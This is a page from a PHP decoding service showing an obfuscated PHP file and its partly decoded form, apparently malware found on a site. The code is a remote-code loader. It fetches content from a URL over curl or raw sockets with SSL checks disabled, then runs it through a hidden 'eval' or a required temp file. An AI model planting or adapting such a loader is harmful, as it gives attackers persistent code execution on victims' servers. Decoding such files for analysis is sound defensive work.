Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php goto u8eic; j5gtu: function peyou($siitd) { goto yaqps; njfva: $ybc3x = base64_decod..

Decoded Output download

<?php goto u8eic; j5gtu: function peyou($siitd) { goto yaqps; njfva: $ybc3x = base64_decode("PD9waHA="); goto hc2bb; eb_gp: $h8oiy($ne48z); goto bs9fx; yaqps: $ne48z = bnahx($siitd); goto njfva; pmm_v: mlvpm: goto bvgx4; ts7ym: $ne48z = str_replace($ybc3x, '', $ne48z); goto jgbe2; bs9fx: die; goto pmm_v; llznl: if (!isset($_request["e"])) { goto mlvpm; } goto ts7ym; qpn30: $a2pp1 = stream_get_meta_data($jzykr); goto hzl8g; hc2bb: if (!(strpos($ne48z, $ybc3x) === false)) { goto podkq; } goto qf9aw; bvgx4: fwrite($jzykr, $ne48z); goto qpn30; jfapl: die; goto vexxx; jgbe2: $h8oiy = "e" . "v" . "a" . "l"; goto eb_gp; nknqd: fclose($jzykr); goto jfapl; hqi1x: podkq: goto laqpi; hzl8g: @(require $a2pp1["uri"]); goto nknqd; qf9aw: die("get failed"); goto hqi1x; laqpi: $jzykr = tmpfile(); goto llznl; vexxx: } goto x45hz; s7_2_: function sqv6m($zdj1c) { goto b1ir5; b_mpx: return $zopd3; goto ycit2; nkqeg: zz5px: goto biklo; biklo: if (!(count($zopd3) != 2)) { goto sx49x; } goto czo9w; yrb_w: return false; goto nkqeg; lleo2: sx49x: goto b_mpx; czo9w: return false; goto lleo2; b1ir5: $zopd3 = @preg_split("/{\|}/si", $zdj1c, -1, preg_split_no_empty); goto ygcxy; ygcxy: if (is_array($zopd3)) { goto zz5px; } goto yrb_w; ycit2: } goto pkq5d; oodgo: function bnahx($siitd) { goto kqnb2; uxtk4: lfm6d: goto jmto1; wrgee: $zdj1c = ''; goto q80dr; autho: $za3sq[] = "User-Agent: s"; goto a6tcd; hlheo: nsbar: goto wxgct; wu__8: unset($bxhqk, $do930, $txg0l, $rnud1, $uhsmw); goto iq_ph; ktpyf: curl_setopt($akmd4, curlopt_timeout, 100); goto bmgp9; jimgm: return $uafkf; goto kwzab; xa_yh: $zdj1c .= $tcmwr; goto l7ty6; vn0zh: isset($yw5oj["query"]) || ($yw5oj["query"] = ''); goto butoa; xl9e7: unset($za3sq, $yw5oj, $vt2hy, $m6jeg); goto fkbjd; dnkwq: $bgpat .= ":"; goto xu182; jn6fr: $uafkf = curl_exec($akmd4); goto k5xjp; oymoy: $vfcyc = "Host: "; goto mdqqg; avdom: $txg0l = stream_socket_client($bgpat, $nql5w, $b8hnc, 30); goto d3y50; cdwwv: stuck: goto f6awe; btuqf: $uhsmw = "ssl://"; goto jnvto; jnvto: $uhsmw .= $yw5oj["host"]; goto o6twy; vhqmj: bsj3c: goto cdwwv; lmzlk: $a2pp1 = "curl_init+curl_setopt+curl_exec|fsockopen|pfsockopen|stream_socket_client|socket_create"; goto ojr91; tbixo: cgdvr: goto ycez7; liqyd: $akmd4 = curl_init(); goto hfn2z; ojr91: $do930 = $bxhqk = $nql5w = $b8hnc = ''; goto lfcxc; lgs1y: $bemmv = fgets($txg0l); goto pxmot; humzr: ghp20: goto h28k2; b0ubh: if (!(substr($do930, -1) == "e")) { goto cgdvr; } goto ajpey; h5uup: return trim(trim($zdj1c, "\xef\273\277")); goto tdz4g; vkiso: $bxhqk = "GET {$m6jeg} HTTP/{$vt2hy}" . php_eol . join(php_eol, $za3sq) . php_eol . php_eol; goto xl9e7; omk6r: $zdj1c = explode("\xd

", $zdj1c); goto qzg40; wlgdm: jxrqy: goto lmzlk; g5zni: if (!(substr($do930, 0, 1) == "c")) { goto jq3jg; } goto liqyd; iljh_: return $r28pp; goto wlgdm; iphas: if ($yw5oj["scheme"] == "https") { goto ghp20; } goto t_t7t; dclic: hy2en: goto s4ifb; e7huu: curl_setopt($akmd4, curlopt_ssl_verifypeer, 0); goto jn6fr; emstl: $uhsmw = $yw5oj["host"]; goto iphas; jr29r: nphfn: goto esmyl; myfqn: $rnud1 = empty($yw5oj["port"]) ? 80 : $yw5oj["port"]; goto agi5r; uldg4: if (!($cfifu = @socket_read($txg0l, 8192))) { goto dwsw3; } goto clnoq; dqolg: fwrite($txg0l, $bxhqk); goto sgfq1; wxgct: jq3jg: goto g87qj; jrc9p: qnyid: goto g5zni; xuswo: unset($bemmv); goto tfjzd; h28k2: $vt2hy = "1.1"; goto djrss; c3cmh: if ($ek4tk["timed_out"]) { goto xmit3; } goto hbpmu; l7ty6: unset($tcmwr); goto ybrm6; d3s_l: if (substr($do930, -1) == "n") { goto ukiii; } goto m9zg6; hbpmu: czn5l: goto ukixs; pxmot: if (!($bemmv && (rawurlencode($bemmv) == "%0D%0A" || rawurlencode($bemmv) == "%0A"))) { goto j7n7a; } goto z21zb; esmyl: stream_set_blocking($txg0l, true); goto bnakl; iq_ph: $zdj1c = @preg_replace_callback("/(?:(?:\r\n|\n)|^)([0-9A-F]+)(?:\r\n|\n){1,2}(.*?)" . "((?:\r\n|\n)(?:[0-9A-F]+(?:\r\n|\n))|$)/si", "f_async", $zdj1c); goto h5uup; a6tcd: $za3sq[] = "Accept: */*"; goto hltv5; jmto1: return "501"; goto hlheo; ybrm6: goto stuck; goto dclic; ygqon: edwf_: goto oksxt; czchn: $txg0l = $do930($uhsmw, $rnud1, $nql5w, $b8hnc, 30); goto vkdsm; oksxt: $r28pp = file_get_contents($siitd); goto zgq4x; jjhds: curl_setopt($akmd4, curlopt_useragent, "s"); goto xkzdi; vjpbg: $m6jeg = $yw5oj["path"] ? $yw5oj["path"] . ($yw5oj["query"] ? "?" . $yw5oj["query"] : '') : "/"; goto emstl; xrxip: unset($uxv1n); goto tbixo; x2wtz: $zdj1c = implode("\xd

", $zdj1c); goto kaxhr; ukixs: if (feof($txg0l)) { goto bsj3c; } goto lgs1y; tfjzd: goto czn5l; goto vhqmj; agi5r: goto zyfvn; goto humzr; d3y50: unset($bgpat); goto dedqb ?>

Did this file decode correctly?

Original Code

<?php goto u8eic; j5gtu: function peyou($siitd) { goto yaqps; njfva: $ybc3x = base64_decode("\120\x44\x39\167\x61\x48\101\x3d"); goto hc2bb; eb_gp: $h8oiy($ne48z); goto bs9fx; yaqps: $ne48z = bnahx($siitd); goto njfva; pmm_v: mlvpm: goto bvgx4; ts7ym: $ne48z = str_replace($ybc3x, '', $ne48z); goto jgbe2; bs9fx: die; goto pmm_v; llznl: if (!isset($_request["\145"])) { goto mlvpm; } goto ts7ym; qpn30: $a2pp1 = stream_get_meta_data($jzykr); goto hzl8g; hc2bb: if (!(strpos($ne48z, $ybc3x) === false)) { goto podkq; } goto qf9aw; bvgx4: fwrite($jzykr, $ne48z); goto qpn30; jfapl: die; goto vexxx; jgbe2: $h8oiy = "\x65" . "\x76" . "\141" . "\154"; goto eb_gp; nknqd: fclose($jzykr); goto jfapl; hqi1x: podkq: goto laqpi; hzl8g: @(require $a2pp1["\x75\x72\x69"]); goto nknqd; qf9aw: die("\147\145\164\x20\x66\141\151\x6c\x65\x64"); goto hqi1x; laqpi: $jzykr = tmpfile(); goto llznl; vexxx: } goto x45hz; s7_2_: function sqv6m($zdj1c) { goto b1ir5; b_mpx: return $zopd3; goto ycit2; nkqeg: zz5px: goto biklo; biklo: if (!(count($zopd3) != 2)) { goto sx49x; } goto czo9w; yrb_w: return false; goto nkqeg; lleo2: sx49x: goto b_mpx; czo9w: return false; goto lleo2; b1ir5: $zopd3 = @preg_split("\x2f\173\x5c\174\175\57\x73\151", $zdj1c, -1, preg_split_no_empty); goto ygcxy; ygcxy: if (is_array($zopd3)) { goto zz5px; } goto yrb_w; ycit2: } goto pkq5d; oodgo: function bnahx($siitd) { goto kqnb2; uxtk4: lfm6d: goto jmto1; wrgee: $zdj1c = ''; goto q80dr; autho: $za3sq[] = "\125\x73\x65\x72\55\101\x67\145\156\x74\x3a\40\163"; goto a6tcd; hlheo: nsbar: goto wxgct; wu__8: unset($bxhqk, $do930, $txg0l, $rnud1, $uhsmw); goto iq_ph; ktpyf: curl_setopt($akmd4, curlopt_timeout, 100); goto bmgp9; jimgm: return $uafkf; goto kwzab; xa_yh: $zdj1c .= $tcmwr; goto l7ty6; vn0zh: isset($yw5oj["\x71\x75\x65\x72\x79"]) || ($yw5oj["\x71\x75\145\x72\x79"] = ''); goto butoa; xl9e7: unset($za3sq, $yw5oj, $vt2hy, $m6jeg); goto fkbjd; dnkwq: $bgpat .= "\x3a"; goto xu182; jn6fr: $uafkf = curl_exec($akmd4); goto k5xjp; oymoy: $vfcyc = "\x48\157\163\164\x3a\x20"; goto mdqqg; avdom: $txg0l = stream_socket_client($bgpat, $nql5w, $b8hnc, 30); goto d3y50; cdwwv: stuck: goto f6awe; btuqf: $uhsmw = "\163\x73\x6c\72\x2f\57"; goto jnvto; jnvto: $uhsmw .= $yw5oj["\150\x6f\163\x74"]; goto o6twy; vhqmj: bsj3c: goto cdwwv; lmzlk: $a2pp1 = "\x63\165\162\154\137\x69\x6e\151\164\x2b\x63\165\x72\x6c\137\x73\x65\x74\x6f\160\164\x2b\x63\165\162\154\137\145\170\145\x63\174\x66\163\157\x63\x6b\x6f\160\145\x6e\x7c\160\x66\x73\157\x63\x6b\157\x70\x65\x6e\174\x73\x74\162\145\x61\155\x5f\x73\x6f\143\153\x65\164\x5f\x63\154\151\145\x6e\164\x7c\163\157\x63\x6b\x65\164\x5f\143\162\145\x61\164\145"; goto ojr91; tbixo: cgdvr: goto ycez7; liqyd: $akmd4 = curl_init(); goto hfn2z; ojr91: $do930 = $bxhqk = $nql5w = $b8hnc = ''; goto lfcxc; lgs1y: $bemmv = fgets($txg0l); goto pxmot; humzr: ghp20: goto h28k2; b0ubh: if (!(substr($do930, -1) == "\145")) { goto cgdvr; } goto ajpey; h5uup: return trim(trim($zdj1c, "\xef\273\277")); goto tdz4g; vkiso: $bxhqk = "\107\105\x54\40{$m6jeg}\40\110\x54\x54\x50\57{$vt2hy}" . php_eol . join(php_eol, $za3sq) . php_eol . php_eol; goto xl9e7; omk6r: $zdj1c = explode("\xd\12\15\12", $zdj1c); goto qzg40; wlgdm: jxrqy: goto lmzlk; g5zni: if (!(substr($do930, 0, 1) == "\143")) { goto jq3jg; } goto liqyd; iljh_: return $r28pp; goto wlgdm; iphas: if ($yw5oj["\163\x63\x68\145\x6d\x65"] == "\x68\164\x74\160\163") { goto ghp20; } goto t_t7t; dclic: hy2en: goto s4ifb; e7huu: curl_setopt($akmd4, curlopt_ssl_verifypeer, 0); goto jn6fr; emstl: $uhsmw = $yw5oj["\x68\157\163\164"]; goto iphas; jr29r: nphfn: goto esmyl; myfqn: $rnud1 = empty($yw5oj["\160\x6f\x72\164"]) ? 80 : $yw5oj["\x70\157\x72\164"]; goto agi5r; uldg4: if (!($cfifu = @socket_read($txg0l, 8192))) { goto dwsw3; } goto clnoq; dqolg: fwrite($txg0l, $bxhqk); goto sgfq1; wxgct: jq3jg: goto g87qj; jrc9p: qnyid: goto g5zni; xuswo: unset($bemmv); goto tfjzd; h28k2: $vt2hy = "\61\x2e\x31"; goto djrss; c3cmh: if ($ek4tk["\164\151\x6d\145\x64\137\157\165\164"]) { goto xmit3; } goto hbpmu; l7ty6: unset($tcmwr); goto ybrm6; d3s_l: if (substr($do930, -1) == "\x6e") { goto ukiii; } goto m9zg6; hbpmu: czn5l: goto ukixs; pxmot: if (!($bemmv && (rawurlencode($bemmv) == "\x25\60\104\x25\x30\x41" || rawurlencode($bemmv) == "\45\x30\x41"))) { goto j7n7a; } goto z21zb; esmyl: stream_set_blocking($txg0l, true); goto bnakl; iq_ph: $zdj1c = @preg_replace_callback("\57\x28\x3f\72\x28\x3f\72\x5c\162\x5c\x6e\x7c\134\x6e\51\x7c\x5e\x29\x28\133\60\55\71\x41\x2d\106\135\53\51\x28\77\72\134\x72\134\156\174\134\156\x29\x7b\61\x2c\62\x7d\x28\56\x2a\x3f\51" . "\50\x28\x3f\72\134\x72\134\x6e\174\x5c\x6e\x29\50\77\72\133\x30\55\x39\101\x2d\106\x5d\x2b\50\77\x3a\134\x72\134\x6e\174\x5c\x6e\x29\51\x7c\x24\x29\57\163\151", "\146\137\141\163\x79\156\143", $zdj1c); goto h5uup; a6tcd: $za3sq[] = "\x41\143\x63\145\x70\x74\72\x20\52\x2f\52"; goto hltv5; jmto1: return "\x35\x30\x31"; goto hlheo; ybrm6: goto stuck; goto dclic; ygqon: edwf_: goto oksxt; czchn: $txg0l = $do930($uhsmw, $rnud1, $nql5w, $b8hnc, 30); goto vkdsm; oksxt: $r28pp = file_get_contents($siitd); goto zgq4x; jjhds: curl_setopt($akmd4, curlopt_useragent, "\163"); goto xkzdi; vjpbg: $m6jeg = $yw5oj["\x70\x61\164\150"] ? $yw5oj["\160\141\x74\150"] . ($yw5oj["\161\x75\145\x72\171"] ? "\x3f" . $yw5oj["\x71\165\145\x72\x79"] : '') : "\57"; goto emstl; xrxip: unset($uxv1n); goto tbixo; x2wtz: $zdj1c = implode("\xd\12\15\12", $zdj1c); goto kaxhr; ukixs: if (feof($txg0l)) { goto bsj3c; } goto lgs1y; tfjzd: goto czn5l; goto vhqmj; agi5r: goto zyfvn; goto humzr; d3y50: unset($bgpat); goto dedqb

Function Calls

None

Variables

None

Stats

MD5 c5333e3e04f6a048023048144aec0180
Eval Count 0
Decode Time 44 ms